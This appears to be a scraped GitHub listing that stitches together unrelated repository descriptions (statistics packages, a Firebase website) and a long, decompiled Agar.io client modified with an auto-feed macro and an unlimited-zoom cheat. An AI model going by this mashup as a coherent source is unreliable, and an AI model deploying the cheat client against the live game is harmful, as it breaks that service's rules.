embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) await ctx.message.delete() bot.run(TOKEN, reconnect=True)
zadrafi / ConcurveA repository for the 'concurve' R package which generates confidence distributions and likelihood functions. Includes documentation on how to do produce similar graphs for Stata.
ndrearu / Curve Fit Utils**curve_fit_utils** is a Python module containing useful tools for curve fitting
saurabhanimesh / Complete Professional Company WebsiteThis is a dynamic website for business purposes. The users can check out the services while interacting with very blissful and beautiful interface. The users can click on the call button from anywhere on the website and directly they would be transferred to the call app where the number is already entered which makes it very much easier for the users to call the company. Then there’s the concept of Time square New York used in this website because Time square correctly signifies the loads and beauty of sign boards at the same time simultaneously. The first page of the website contains a video of Time square and on the other pages the High quality pictures of Time square has been used. The users can read the details of the previous projects of the company and can also read about the services and products that the company is offering to their customers. The users can also demand request on this website after which the company will call them and hence will proceed the deal. This website contains a slide bar in the services and projects menu by which users can smoothly check the services and projects. The website’s been designed fully for every platforms available currently. It is responsive in very possible way and manner which makes this website robust. For the front end part of this websites – HTML, CSS and JAVA SCRIPT has been used and for the backend part NODE.JS has been used. In backend of my website the modules of Express (for serving purpose) has been used. The backend server and data base of Google’s Firebase has been used and all the server part of the work and data base works has been done through there. Firebase Cloud function has been used to serve the website dynamically and this hosting can been done only if we are willing to be a paid user for Firebase. In this website creation no template, bootstrap or any other already coded mechanism has been used. This website has been coded from the scratch and everything in this website is completely manually coded from the scratch .This website is all created with HTML for structuring, CSS for Designing and for additional dynamic functions Java Script has been used. The data base used in it is of Google’s Firebase. Firebase is the best platform for forming a Backend for mobile applications and web application currently across the world. So, every retrieval and fetching of data has been done through Firebase data base and all dynamic data insertion has also been done through that. The hosting of the website has been done also by the firebase server. Media query has been used for making the website responsive for every platform available and every minute details has been taken care off in it. For the background a professional high quality picture has been taken from pexels.com. For the Review Looping part of the website, looping, Time interval function and data retrieval from the Firebase database. For the animation part on scrolling, AOS (Animation on Scroll) has been used. Images and every photos are used in these website with the help of Firebase Storage Functionality, From there only we are fetching the images (of books and blogs) and showing it in here. A pre loader has been used before the starting of website to let the images get loaded properly so that the users do not faces any difficulties For social handling visit purposes, href has been used and for sharing purpose of blog this website has been used - https://sharingbuttons.io/ . The shop section of the website has been coded in a way where the users has to put their information and then that data will be stored in the data base , and from there the company can get connected with that person. For the side bar slider glider package has been used. The clicking appearance of a details box where the information of the products or projects has been created by create Element method of Java script and in that element creation and data fetching is happening at the same time. When we click on the product or project back then we used remove child method of java script to make it normal.
dfeehan / Surveybootstrapbootstrap methods for survey data in R
fpgdubost / BstrapBootstrap hypothesis testing Python Package. Bootstrapping is a simple method to compute statistics over your custom metrics, using only one run of the method for each sample in your evaluation set. It has the advantage of being very versatile, and can be used with any metric really.
Rogerio111 / Rogerio<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="description" content="Eat cells smaller than you and don't get eaten by the bigger ones, as an MMO"> <meta name="keywords" content="agario, agar, io, cell, cells, virus, bacteria, blob, game, games, web game, html5, fun, flash"> <meta name="robots" content="index, follow"> <meta name="viewport" content="minimal-ui, width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta property="fb:app_id" content="677505792353827"/> <meta property="og:title" content="Agar.io"/> <meta property="og:description" content="Eat cells smaller than you and don't get eaten by the bigger ones, as an MMO"/> <meta property="og:url" content="http://agar.io"/> <meta property="og:image" content="http://agar.io/img/1200x630.png"/> <meta property="og:image:width" content="1200"/> <meta property="og:image:height" content="630"/> <meta property="og:type" content="website"/> <title>Agar.io</title> <link id="favicon" rel="icon" type="image/png" href="favicon-32x32.png"/> <!-- Área de anuncio --> <link href='https://fonts.googleapis.com/css?family=Ubuntu:700' rel='stylesheet' type='text/css'> <link href="css/bootstrap.min.css" rel="stylesheet"> <link href="css/glyphicons-social.css" rel="stylesheet"> <link href="css/animate.css" rel="stylesheet"> <style>body{padding:0;margin:0;overflow:hidden;}#canvas{position:absolute;left:0;right:0;top:0;bottom:0;width:100%;height:100%;}form{margin-bottom:0px;}.btn-play,.btn-settings,.btn-spectate,.btn-play-guest,.btn-login,.btn-logout{display:block;float:left;height:35px;}.btn-spectate,.btn-logout{height:35px;display:block;width:110px;margin-left:10px;margin-bottom:5px;}#helloContainer[data-logged-in="0"] .btn-play-guest{margin-left:5px;width:125px;}#helloContainer[data-logged-in="0"] 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#CCC;margin-right:6px;}.agario-profile-panel .agario-profile-name-container{float:left;display:table;width:120px;height:64px;position:relative;}.agario-profile-panel .agario-profile-name-container .agario-profile-name{display:table-cell;vertical-align:middle;text-align:center;font-weight:bold;}#helloContainer[data-has-account-data="0"] .agario-profile-panel{display:none;}.agario-party,.agario-party-0,.agario-party-1,.agario-party-2,.agario-party-3,.agario-party-4,.agario-party-5,.agario-party-6{display:none;}#helloContainer[data-gamemode=":party"] .agario-party{display:block;position:relative;}#helloContainer[data-gamemode=":party"] .agario-promo{display:none;}#helloContainer[data-party-state="0"] .agario-party-0{display:block;}#helloContainer[data-party-state="1"] .agario-party-1{display:block;}#helloContainer[data-party-state="2"] .agario-party-2{display:block;}#helloContainer[data-party-state="3"] .agario-party-3{display:block;}#helloContainer[data-party-state="4"] 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.agario-results-2{display:block;}#options>label{display:block;width:94px;float:left;}#stats{position:relative;width:350px;height:581px;padding:0px 0px 300px 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0px 0px 0px;padding:5px 10px;}</style> <script src="js/jquery.js"></script> <script src="js/bootstrap.min.js"></script> <script> i18n_lang = 'en'; i18n_dict = { 'en': { 'connecting': 'Connecting', 'connect_help': 'If you cannot connect to the servers, check if you have some anti virus or firewall blocking the connection.', 'play': 'Jogar', 'spectate': 'Observar O Jogo', 'login_and_play': 'Logar No Facebook', 'play_as_guest': 'Play as guest', 'share': 'Share', 'advertisement': 'Advertisement', 'privacy_policy': 'Privacy Policy', 'terms_of_service': 'Terms of Service', 'changelog': 'Changelog', 'instructions_mouse': 'Move your mouse to control your cell', 'instructions_space': 'Pressiona <b>Space</b> Para Duplica', 'instructions_w': 'Pressiona <b>W</b> Para Da Massa', 'gamemode_ffa': 'FFA', 'gamemode_teams': 'Time', 'gamemode_experimental': 'Experimental', 'region_select': ' -- Select a Region -- ', 'region_us_east': 'US East', 'region_us_west': 'US West', 'region_north_america': 'North America', 'region_south_america': 'South America', 'region_europe': 'Europe', 'region_turkey': 'Turkey', 'region_poland': 'Poland', 'region_east_asia': 'East Asia', 'region_russia': 'Russia', 'region_china': 'China', 'region_oceania': 'Oceania', 'region_australia': 'Australia', 'region_players': 'players', 'option_no_skins': 'Remover skins', 'option_no_names': 'Sem Nome', 'option_dark_theme': 'Tema Escuro', 'option_no_colors': 'Sem Cores', 'option_show_mass': 'Most. Massa', 'leaderboard': 'Leaderboard', 'unnamed_cell': 'Célula sem nome !"', 'last_match_results': 'Last match results', 'score': 'Pontos', 'leaderboard_time': '', 'mass_eaten': 'Mass Eaten', 'top_position': 'Top Position', 'position_1': 'Primeiro', 'position_2': 'Segundo', 'position_3': 'Terceiro', 'position_4': 'Quarto', 'position_5': 'Quinto', 'position_6': 'Sexto', 'position_7': 'Setimo', 'position_8': 'Oitavo', 'position_9': 'Nono', 'position_10': 'Decimo', 'player_cells_eaten': 'Player Cells Eaten', 'survival_time': 'Survival Time', 'games_played': 'Games played', 'highest_mass': 'Massa Total', 'total_cells_eaten': 'Total cells eaten', 'total_mass_eaten': 'Total mass eaten', 'longest_survival': 'Longest survival', 'logout': 'Sair', 'stats': 'Stats', 'shop': 'Shop', 'party': 'Jogar Com Os Amigos', 'party_description': 'Play with your friends in the same map', 'create_party': 'Create', 'creating_party': 'Criando Ah partida...', 'join_party': 'Criar Partoda', 'back_button': 'Sair', 'joining_party': 'Connectando Na Sala ...', 'joined_party_instructions': 'You are now playing with this Sala:', 'party_join_error': 'There was a problem joining that party, please make sure the code is correct, or try creating another party', 'login_tooltip': 'Login with Facebook and get:<br\xA0/><br /><br />Jogar the game with more mass!<br />Level up to get even more starting mass!', 'create_party_instructions': 'Give this link to your friends:', 'join_party_instructions': 'Your friend should have given you a code, type it here:', 'continue': 'Continuar', 'option_skip_stats': 'Pular Estatísticas', 'stats_food_eaten': 'Alim. ingeridos', 'stats_highest_mass': 'highest mass', 'stats_time_alive': 'Tempo Vivo', 'stats_leaderboard_time': 'Tempo no Rank', 'stats_cells_eaten': 'Células Ingeridas', 'stats_top_position': 'Posição Rankeada?', '': '' }, '?': {} }; i18n_lang = (window.navigator.userLanguage || window.navigator.language || 'en').split('-')[0]; if (!i18n_dict.hasOwnProperty(i18n_lang)) { i18n_lang = 'en'; } i18n = i18n_dict[i18n_lang]; (function(window, $) { function Init() { g_drawLines = true; PlayerStats(); setInterval(PlayerStats, 180000); g_canvas = g_canvas_ = document.getElementById('canvas'); g_context = g_canvas.getContext('2d'); g_canvas.onmousedown = function(event) { if (g_touchCapable) { var deltaX = event.clientX - (5 + g_protocol / 5 / 2); var deltaY = event.clientY - (5 + g_protocol / 5 / 2); if (Math.sqrt(deltaX * deltaX + deltaY * deltaY) <= g_protocol / 5 / 2) { SendPos(); SendCmd(17); return; } } g_mouseX = event.clientX; g_mouseY = event.clientY; UpdatePos(); SendPos(); }; g_canvas.onmousemove = function(event) { g_mouseX = event.clientX; g_mouseY = event.clientY; UpdatePos(); }; g_canvas.onmouseup = function() {}; if (/firefox/i.test(navigator.userAgent)) { document.addEventListener('DOMMouseScroll', WheelHandler, false); } else { document.body.onmousewheel = WheelHandler; } var spaceDown = false; var cachedSkin = false; var wkeyDown = false; var keyEPressed = false; //EDITED window.onkeydown = function(event) { if (!(32 != event.keyCode || spaceDown)) { SendPos(); SendCmd(17); spaceDown = true; } if (!(81 != event.keyCode || cachedSkin)) { SendCmd(18); cachedSkin = true; } if (!(87 != event.keyCode || wkeyDown)) { SendPos(); SendCmd(21); wkeyDown = true; } if (69 == event.keyCode) { //EDITED if (!keyEPressed) { keyEPressed = true; timerE(); } } if (27 == event.keyCode) { __unmatched_10(300); } }; window.onkeyup = function(event) { if (32 == event.keyCode) { spaceDown = false; } if (87 == event.keyCode) { wkeyDown = false; } if (81 == event.keyCode && cachedSkin) { SendCmd(19); cachedSkin = false; } if (69 == event.keyCode) { //EDITED if (keyEPressed) { keyEPressed = false; } } }; window.onblur = function() { SendCmd(19); wkeyDown = cachedSkin = spaceDown = keyEPressed = false; //EDITED }; function timerE () { //EDITED if (keyEPressed) { SendPos(); SendCmd(21); setInterval(timerE, 200); } } window.onresize = ResizeHandler; window.requestAnimationFrame(__unmatched_130); setInterval(SendPos, 40); if (g_region) { $('#region').val(g_region); } SyncRegion(); SetRegion($('#region').val()); $.each(g_skinNamesA, function(v, node) { //EDITED $("#nicks").append($("<option></option>").attr("value", v).text(node)); }); if (0 == __unmatched_112 && g_region) { Start(); } __unmatched_10(0); ResizeHandler(); if (window.location.hash && 6 <= window.location.hash.length) { RenderLoop(window.location.hash); } } function WheelHandler(event) { g_zoom *= Math.pow(0.9, event.wheelDelta / -120 || event.detail || 0); if(!isUnlimitedZoom) { if (1 > g_zoom) { g_zoom = 1; } if (g_zoom > 4 / g_scale) { g_zoom = 4 / g_scale; } } } function UpdateTree() { if (0.4 > g_scale) { g_pointTree = null; } else { for (var minX = Number.POSITIVE_INFINITY, minY = Number.POSITIVE_INFINITY, maxX = Number.NEGATIVE_INFINITY, maxY = Number.NEGATIVE_INFINITY, maxSize = 0, i = 0; i < g_cells.length; i++) { var cell = g_cells[i]; if (!(!cell.N() || cell.R || 20 >= cell.size * g_scale)) { maxSize = Math.max(cell.size, maxSize); minX = Math.min(cell.x, minX); minY = Math.min(cell.y, minY); maxX = Math.max(cell.x, maxX); maxY = Math.max(cell.y, maxY); } } g_pointTree = QTreeFactory.la({ ca: minX - (maxSize + 100), da: minY - (maxSize + 100), oa: maxX + (maxSize + 100), pa: maxY + (maxSize + 100), ma: 2, na: 4 }); for (i = 0; i < g_cells.length; i++) { if (cell = g_cells[i], cell.N() && !(20 >= cell.size * g_scale)) { for (minX = 0; minX < cell.a.length; ++minX) { minY = cell.a[minX].x; maxX = cell.a[minX].y; if (!(minY < g_viewX - g_protocol / 2 / g_scale || maxX < g_viewY - __unmatched_60 / 2 / g_scale || minY > g_viewX + g_protocol / 2 / g_scale || maxX > g_viewY + __unmatched_60 / 2 / g_scale)) { g_pointTree.m(cell.a[minX]); } } } } } } function UpdatePos() { g_moveX = (g_mouseX - g_protocol / 2) / g_scale + g_viewX; g_moveY = (g_mouseY - __unmatched_60 / 2) / g_scale + g_viewY; } function PlayerStats() { if (null == g_regionLabels) { g_regionLabels = {}; $('#region').children().each(function() { var $this = $(this); var val = $this.val(); if (val) { g_regionLabels[val] = $this.text(); } }); } $.get('https://m.agar.io/info', function(data) { var regionNumPlayers = {}; var region; for (region in data.regions) { var region_ = region.split(':')[0]; regionNumPlayers[region_] = regionNumPlayers[region_] || 0; regionNumPlayers[region_] += data.regions[region].numPlayers; } for (region in regionNumPlayers) { $('#region option[value="' + region + '"]').text(g_regionLabels[region] + ' (' + regionNumPlayers[region] + ' players)'); } }, 'json'); } function HideOverlay() { $('#adsBottom').hide(); $('#overlays').hide(); $('#stats').hide(); $('#mainPanel').hide(); __unmatched_141 = g_playerCellDestroyed = false; SyncRegion(); if (window.googletag && window.googletag.pubads && window.googletag.pubads().clear) { window.googletag.pubads().clear(window.aa.concat(window.ab)); } } function SetRegion(val) { if (val && val != g_region) { if ($('#region').val() != val) { $('#region').val(val); } g_region = window.localStorage.location = val; $('.region-message').hide(); $('.region-message.' + val).show(); $('.btn-needs-server').prop('disabled', false); if (g_drawLines) { Start(); } } } function __unmatched_10(char) { if (!(g_playerCellDestroyed || __unmatched_141)) { $('#adsBottom').show(); g_nick = null; __unmatched_13(window.aa); if (1000 > char) { qkeyDown = 1; } g_playerCellDestroyed = true; $('#mainPanel').show(); if (0 < char) { $('#overlays').fadeIn(char); } else { $('#overlays').show(); } } } function Render(__unmatched_174) { $('#helloContainer').attr('data-gamemode', __unmatched_174); __unmatched_95 = __unmatched_174; $('#gamemode').val(__unmatched_174); } function SyncRegion() { if ($('#region').val()) { window.localStorage.location = $('#region').val(); } else if (window.localStorage.location) { $('#region').val(window.localStorage.location); } if ($('#region').val()) { $('#locationKnown').append($('#region')); } else { $('#locationUnknown').append($('#region')); } } function __unmatched_13(__unmatched_175) { if (window.googletag) { window.googletag.cmd.push(function() { if (g_canRefreshAds) { g_canRefreshAds = false; setTimeout(function() { g_canRefreshAds = true; }, 60000 * g_refreshAdsCooldown); if (window.googletag && window.googletag.pubads && window.googletag.pubads().refresh) { window.googletag.pubads().refresh(__unmatched_175); } } }); } } function __unmatched_14(i_) { return window.i18n[i_] || window.i18n_dict.en[i_] || i_; } function FindGame() { var __unmatched_177 = ++__unmatched_112; console.log('Find ' + g_region + __unmatched_95); $.ajax('https://m.agar.io/', { error: function() { setTimeout(FindGame, 1000); }, success: function(__unmatched_178) { __unmatched_178 = __unmatched_178.split('\n'); Connect('ws://' + __unmatched_178[0], __unmatched_178[1]); }, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: (g_region + __unmatched_95 || '?') + '\n154669603' }); } function Start() { if (g_drawLines && g_region) { $('#connecting').show(); FindGame(); } } function Connect(address, ticket) { if (points) { points.onopen = null; points.onmessage = null; points.onclose = null; try { points.close(); } catch (exception) {} points = null; } if (__unmatched_113.ip) { address = 'ws://' + __unmatched_113.ip; } if (null != __unmatched_121) { var __unmatched_181 = __unmatched_121; __unmatched_121 = function() { __unmatched_181(ticket); }; } if (g_secure) { var parts = address.split(':'); address = parts[0] + 's://ip-' + parts[1].replace(/\./g, '-').replace(/\//g, '') + '.tech.agar.io:' + (+parts[2] + 2000); } g_playerCellIds = []; g_playerCells = []; g_cellsById = {}; g_cells = []; g_destroyedCells = []; g_scoreEntries = []; g_leaderboardCanvas = g_scorePartitions = null; g_maxScore = 0; g_connectSuccessful = false; console.log('Connecting to ' + address); points = new WebSocket(address); points.binaryType = 'arraybuffer'; points.onopen = function() { var data; console.log('socket open'); data = GetBuffer(5); data.setUint8(0, 254); data.setUint32(1, 5, true); SendBuffer(data); data = GetBuffer(5); data.setUint8(0, 255); data.setUint32(1, 154669603, true); SendBuffer(data); data = GetBuffer(1 + ticket.length); data.setUint8(0, 80); for (var i = 0; i < ticket.length; ++i) { data.setUint8(i + 1, ticket.charCodeAt(i)); } SendBuffer(data); RefreshAds(); }; points.onmessage = MessageHandler; points.onclose = CloseHandler; points.onerror = function() { console.log('socket error'); }; } function GetBuffer(size) { return new DataView(new ArrayBuffer(size)); } function SendBuffer(data) { points.send(data.buffer); } function CloseHandler() { if (g_connectSuccessful) { g_retryTimeout = 500; } console.log('socket close'); setTimeout(Start, g_retryTimeout); g_retryTimeout *= 2; } function MessageHandler(data) { Receive(new DataView(data.data)); } function Receive(data) { function __unmatched_190() { for (var string = '';;) { var char = data.getUint16(pos, true); pos += 2; if (0 == char) { break; } string += String.fromCharCode(char); } return string; } var pos = 0; if (240 == data.getUint8(pos)) { pos += 5; } switch (data.getUint8(pos++)) { case 16: ParseCellUpdates(data, pos); break; case 17: g_viewX_ = data.getFloat32(pos, true); pos += 4; g_viewY_ = data.getFloat32(pos, true); pos += 4; g_scale_ = data.getFloat32(pos, true); pos += 4; break; case 20: g_playerCells = []; g_playerCellIds = []; break; case 21: g_linesY_ = data.getInt16(pos, true); pos += 2; g_linesX_ = data.getInt16(pos, true); pos += 2; if (!g_ready) { g_ready = true; g_linesX = g_linesY_; g_linesY = g_linesX_; } break; case 32: g_playerCellIds.push(data.getUint32(pos, true)); pos += 4; break; case 49: if (null != g_scorePartitions) { break; } var num = data.getUint32(pos, true); var pos = pos + 4; g_scoreEntries = []; for (var i = 0; i < num; ++i) { var id = data.getUint32(pos, true); var pos = pos + 4; g_scoreEntries.push({ id: id, name: __unmatched_190() }); } UpdateLeaderboard(); break; case 50: g_scorePartitions = []; num = data.getUint32(pos, true); pos += 4; for (i = 0; i < num; ++i) { g_scorePartitions.push(data.getFloat32(pos, true)); pos += 4; } UpdateLeaderboard(); break; case 64: g_minX = data.getFloat64(pos, true); pos += 8; g_minY = data.getFloat64(pos, true); pos += 8; g_maxX = data.getFloat64(pos, true); pos += 8; g_maxY = data.getFloat64(pos, true); pos += 8; g_viewX_ = (g_maxX + g_minX) / 2; g_viewY_ = (g_maxY + g_minY) / 2; g_scale_ = 1; if (0 == g_playerCells.length) { g_viewX = g_viewX_; g_viewY = g_viewY_; g_scale = g_scale_; } break; case 81: var x = data.getUint32(pos, true); var pos = pos + 4; var __unmatched_196 = data.getUint32(pos, true); var pos = pos + 4; var __unmatched_197 = data.getUint32(pos, true); var pos = pos + 4; setTimeout(function() { __unmatched_43({ e: x, f: __unmatched_196, d: __unmatched_197 }); }, 1200); } } function ParseCellUpdates(data, pos) { function __unmatched_202() { for (var string = '';;) { var id = data.getUint16(pos, true); pos += 2; if (0 == id) { break; } string += String.fromCharCode(id); } return string; } function __unmatched_203() { for (var __unmatched_218 = '';;) { var r = data.getUint8(pos++); if (0 == r) { break; } __unmatched_218 += String.fromCharCode(r); } return __unmatched_218; } __unmatched_107 = g_time = Date.now(); if (!g_connectSuccessful) { g_connectSuccessful = true; __unmatched_24(); } __unmatched_88 = false; var num = data.getUint16(pos, true); pos += 2; for (var i = 0; i < num; ++i) { var cellA = g_cellsById[data.getUint32(pos, true)]; var cellB = g_cellsById[data.getUint32(pos + 4, true)]; pos += 8; if (cellA && cellB) { cellB.X(); cellB.s = cellB.x; cellB.t = cellB.y; cellB.r = cellB.size; cellB.J = cellA.x; cellB.K = cellA.y; cellB.q = cellB.size; cellB.Q = g_time; __unmatched_49(cellA, cellB); } } for (i = 0;;) { num = data.getUint32(pos, true); pos += 4; if (0 == num) { break; } ++i; var size; var cellA = data.getInt32(pos, true); pos += 4; cellB = data.getInt32(pos, true); pos += 4; size = data.getInt16(pos, true); pos += 2; var flags = data.getUint8(pos++); var y = data.getUint8(pos++); var b = data.getUint8(pos++); var y = __unmatched_40(flags << 16 | y << 8 | b); var b = data.getUint8(pos++); var isVirus = !!(b & 1); var isAgitated = !!(b & 16); var __unmatched_214 = null; if (b & 2) { pos += 4 + data.getUint32(pos, true); } if (b & 4) { __unmatched_214 = __unmatched_203(); } var name = __unmatched_202(); var flags = null; if (g_cellsById.hasOwnProperty(num)) { flags = g_cellsById[num]; flags.P(); flags.s = flags.x; flags.t = flags.y; flags.r = flags.size; flags.color = y; } else { flags = new Cell(num, cellA, cellB, size, y, name); g_cells.push(flags); g_cellsById[num] = flags; flags.ta = cellA; flags.ua = cellB; } flags.h = isVirus; flags.n = isAgitated; flags.J = cellA; flags.K = cellB; flags.q = size; flags.Q = g_time; flags.ba = b; flags.fa = __unmatched_214; if (name) { flags.B(name); } if (-1 != g_playerCellIds.indexOf(num) && -1 == g_playerCells.indexOf(flags)) { g_playerCells.push(flags); if (1 == g_playerCells.length) { g_viewX = flags.x; g_viewY = flags.y; __unmatched_136(); document.getElementById('overlays').style.display = 'none'; cached = []; __unmatched_139 = 0; __unmatched_140 = g_playerCells[0].color; __unmatched_142 = true; __unmatched_143 = Date.now(); g_mode = __unmatched_146 = __unmatched_145 = 0; } } } cellA = data.getUint32(pos, true); pos += 4; for (i = 0; i < cellA; i++) { num = data.getUint32(pos, true); pos += 4; flags = g_cellsById[num]; if (null != flags) { flags.X(); } } if (__unmatched_88 && 0 == g_playerCells.length) { __unmatched_144 = Date.now(); __unmatched_142 = false; if (!(g_playerCellDestroyed || __unmatched_141)) { if (__unmatched_148) { __unmatched_13(window.ab); ShowOverlay(); __unmatched_141 = true; $('#overlays').fadeIn(3000); $('#stats').show(); } else { __unmatched_10(3000); } } } } function __unmatched_24() { $('#connecting').hide(); SendNick(); if (__unmatched_121) { __unmatched_121(); __unmatched_121 = null; } if (null != __unmatched_123) { clearTimeout(__unmatched_123); } __unmatched_123 = setTimeout(function() { if (window.ga) { ++__unmatched_124; window.ga('set', 'dimension2', __unmatched_124); } }, 10000); } function SendPos() { if (IsConnected()) { var deltaY = g_mouseX - g_protocol / 2; var delta = g_mouseY - __unmatched_60 / 2; if (!(64 > deltaY * deltaY + delta * delta || 0.01 > Math.abs(g_lastMoveY - g_moveX) && 0.01 > Math.abs(g_lastMoveX - g_moveY))) { g_lastMoveY = g_moveX; g_lastMoveX = g_moveY; deltaY = GetBuffer(21); deltaY.setUint8(0, 16); deltaY.setFloat64(1, g_moveX, true); deltaY.setFloat64(9, g_moveY, true); deltaY.setUint32(17, 0, true); SendBuffer(deltaY); } } } function SendNick() { if (IsConnected() && g_connectSuccessful && null != g_nick) { var data = GetBuffer(1 + 2 * g_nick.length); data.setUint8(0, 0); for (var i = 0; i < g_nick.length; ++i) { data.setUint16(1 + 2 * i, g_nick.charCodeAt(i), true); } SendBuffer(data); g_nick = null; } } function IsConnected() { return null != points && points.readyState == points.OPEN; } function SendCmd(cmd) { if (IsConnected()) { var data = GetBuffer(1); data.setUint8(0, cmd); SendBuffer(data); } } function RefreshAds() { if (IsConnected() && null != __unmatched_108) { var __unmatched_226 = GetBuffer(1 + __unmatched_108.length); __unmatched_226.setUint8(0, 81); for (var y = 0; y < __unmatched_108.length; ++y) { __unmatched_226.setUint8(y + 1, __unmatched_108.charCodeAt(y)); } SendBuffer(__unmatched_226); } } function ResizeHandler() { g_protocol = window.innerWidth; __unmatched_60 = window.innerHeight; g_canvas_.width = g_canvas.width = g_protocol; g_canvas_.height = g_canvas.height = __unmatched_60; var $dialog = $('#helloContainer'); $dialog.css('transform', 'none'); var dialogHeight = $dialog.height(); var height = window.innerHeight; if (dialogHeight > height / 1.1) { $dialog.css('transform', 'translate(-50%, -50%) scale(' + height / dialogHeight / 1.1 + ')'); } else { $dialog.css('transform', 'translate(-50%, -50%)'); } GetScore(); } function ScaleModifier() { var scale; scale = 1 * Math.max(__unmatched_60 / 1080, g_protocol / 1920); return scale *= g_zoom; } function __unmatched_32() { if (0 != g_playerCells.length) { for (var scale = 0, i = 0; i < g_playerCells.length; i++) { scale += g_playerCells[i].size; } scale = Math.pow(Math.min(64 / scale, 1), 0.4) * ScaleModifier(); g_scale = (9 * g_scale + scale) / 10; } } function GetScore() { var x; var time = Date.now(); ++__unmatched_75; g_time = time; if (0 < g_playerCells.length) { __unmatched_32(); for (var y = x = 0, i = 0; i < g_playerCells.length; i++) { g_playerCells[i].P(); x += g_playerCells[i].x / g_playerCells.length; y += g_playerCells[i].y / g_playerCells.length; } g_viewX_ = x; g_viewY_ = y; g_scale_ = g_scale; g_viewX = (g_viewX + x) / 2; g_viewY = (g_viewY + y) / 2; } else { g_viewX = (29 * g_viewX + g_viewX_) / 30; g_viewY = (29 * g_viewY + g_viewY_) / 30; g_scale = (9 * g_scale + g_scale_ * ScaleModifier()) / 10; } UpdateTree(); UpdatePos(); if (!g_showTrails) { g_context.clearRect(0, 0, g_protocol, __unmatched_60); } if (g_showTrails) { g_context.fillStyle = g_showMass ? '#111111' : '#F2FBFF'; g_context.globalAlpha = 0.05; g_context.fillRect(0, 0, g_protocol, __unmatched_60); g_context.globalAlpha = 1; } else { DrawGrid(); } g_cells.sort(function(A, B) { return A.size == B.size ? A.id - B.id : A.size - B.size; }); g_context.save(); g_context.translate(g_protocol / 2, __unmatched_60 / 2); g_context.scale(g_scale, g_scale); g_context.translate(-g_viewX, -g_viewY); drawBorders(); drawLogo(); myMass = Math.min.apply(null, g_playerCells.map(function(r) { return r.N(); })) for (i = 0; i < g_destroyedCells.length; i++) { g_destroyedCells[i].w(g_context); } for (i = 0; i < g_cells.length; i++) { g_cells[i].w(g_context); } if (g_ready) { g_linesX = (3 * g_linesX + g_linesY_) / 4; g_linesY = (3 * g_linesY + g_linesX_) / 4; g_context.save(); g_context.strokeStyle = '#FFAAAA'; g_context.lineWidth = 10; g_context.lineCap = 'round'; g_context.lineJoin = 'round'; g_context.globalAlpha = 0.5; g_context.beginPath(); for (i = 0; i < g_playerCells.length; i++) { g_context.moveTo(g_playerCells[i].x, g_playerCells[i].y); g_context.lineTo(g_linesX, g_linesY); } g_context.stroke(); g_context.restore(); } g_context.restore(); if (g_leaderboardCanvas && g_leaderboardCanvas.width) { g_context.drawImage(g_leaderboardCanvas, g_protocol - g_leaderboardCanvas.width - 10, 10); } g_maxScore = Math.max(g_maxScore, __unmatched_36()); if (0 != g_maxScore) { if (null == g_cachedScore) { g_cachedScore = new CachedCanvas(24, '#FFFFFF'); } g_cachedScore.C(__unmatched_14('score') + ': ' + ~~(g_maxScore / 100)); y = g_cachedScore.L(); x = y.width; g_context.globalAlpha = 0.2; g_context.fillStyle = '#000000'; g_context.fillRect(10, __unmatched_60 - 10 - 24 - 10, x + 10, 34); g_context.globalAlpha = 1; g_context.drawImage(y, 15, __unmatched_60 - 10 - 24 - 5); } DrawSplitImage(); time = Date.now() - time; if (time > 1000 / 60) { g_pointNumScale -= 0.01; } else if (time < 1000 / 65) { g_pointNumScale += 0.01; } if (0.4 > g_pointNumScale) { g_pointNumScale = 0.4; } if (1 < g_pointNumScale) { g_pointNumScale = 1; } time = g_time - __unmatched_77; if (!IsConnected() || g_playerCellDestroyed || __unmatched_141) { qkeyDown += time / 2000; if (1 < qkeyDown) { qkeyDown = 1; } } else { qkeyDown -= time / 300; if (0 > qkeyDown) { qkeyDown = 0; } } if (0 < qkeyDown) { g_context.fillStyle = '#000000'; g_context.globalAlpha = 0.5 * qkeyDown; g_context.fillRect(0, 0, g_protocol, __unmatched_60); g_context.globalAlpha = 1; } __unmatched_77 = g_time; } function DrawGrid() { g_context.fillStyle = g_showMass ? '#111111' : '#F2FBFF'; g_context.fillRect(0, 0, g_protocol, __unmatched_60); g_context.save(); g_context.strokeStyle = g_showMass ? '#AAAAAA' : '#000000'; g_context.globalAlpha = 0.2 * g_scale; for (var width = g_protocol / g_scale, height = __unmatched_60 / g_scale, g_width = (-g_viewX + width / 2) % 50; g_width < width; g_width += 50) { g_context.beginPath(); g_context.moveTo(g_width * g_scale - 0.5, 0); g_context.lineTo(g_width * g_scale - 0.5, height * g_scale); g_context.stroke(); } for (g_width = (-g_viewY + height / 2) % 50; g_width < height; g_width += 50) { g_context.beginPath(); g_context.moveTo(0, g_width * g_scale - 0.5); g_context.lineTo(width * g_scale, g_width * g_scale - 0.5); g_context.stroke(); } g_context.restore(); } function DrawSplitImage() { if (g_touchCapable && g_splitImage.width) { var size = g_protocol / 5; g_context.drawImage(g_splitImage, 5, 5, size, size); } } function __unmatched_36() { for (var score = 0, i = 0; i < g_playerCells.length; i++) { score += g_playerCells[i].q * g_playerCells[i].q; } return score; } function UpdateLeaderboard() { g_leaderboardCanvas = null; if (null != g_scorePartitions || 0 != g_scoreEntries.length) { if (null != g_scorePartitions || g_showNames) { g_leaderboardCanvas = document.createElement('canvas'); var context = g_leaderboardCanvas.getContext('2d'); var height = 60; var height = null == g_scorePartitions ? height + 24 * g_scoreEntries.length : height + 180; var scale = Math.min(200, 0.3 * g_protocol) / 200; g_leaderboardCanvas.width = 200 * scale; g_leaderboardCanvas.height = height * scale; context.scale(scale, scale); context.globalAlpha = 0.4; context.fillStyle = '#000000'; context.fillRect(0, 0, 200, height); context.globalAlpha = 1; context.fillStyle = '#FFFFFF'; scale = null; scale = __unmatched_14('leaderboard'); context.font = '30px Ubuntu'; context.fillText(scale, 100 - context.measureText(scale).width / 2, 40); if (null == g_scorePartitions) { for (context.font = '20px Ubuntu', height = 0; height < g_scoreEntries.length; ++height) { scale = g_scoreEntries[height].name || __unmatched_14('unnamed_cell'); if (!g_showNames) { scale = __unmatched_14('unnamed_cell'); } if (-1 != 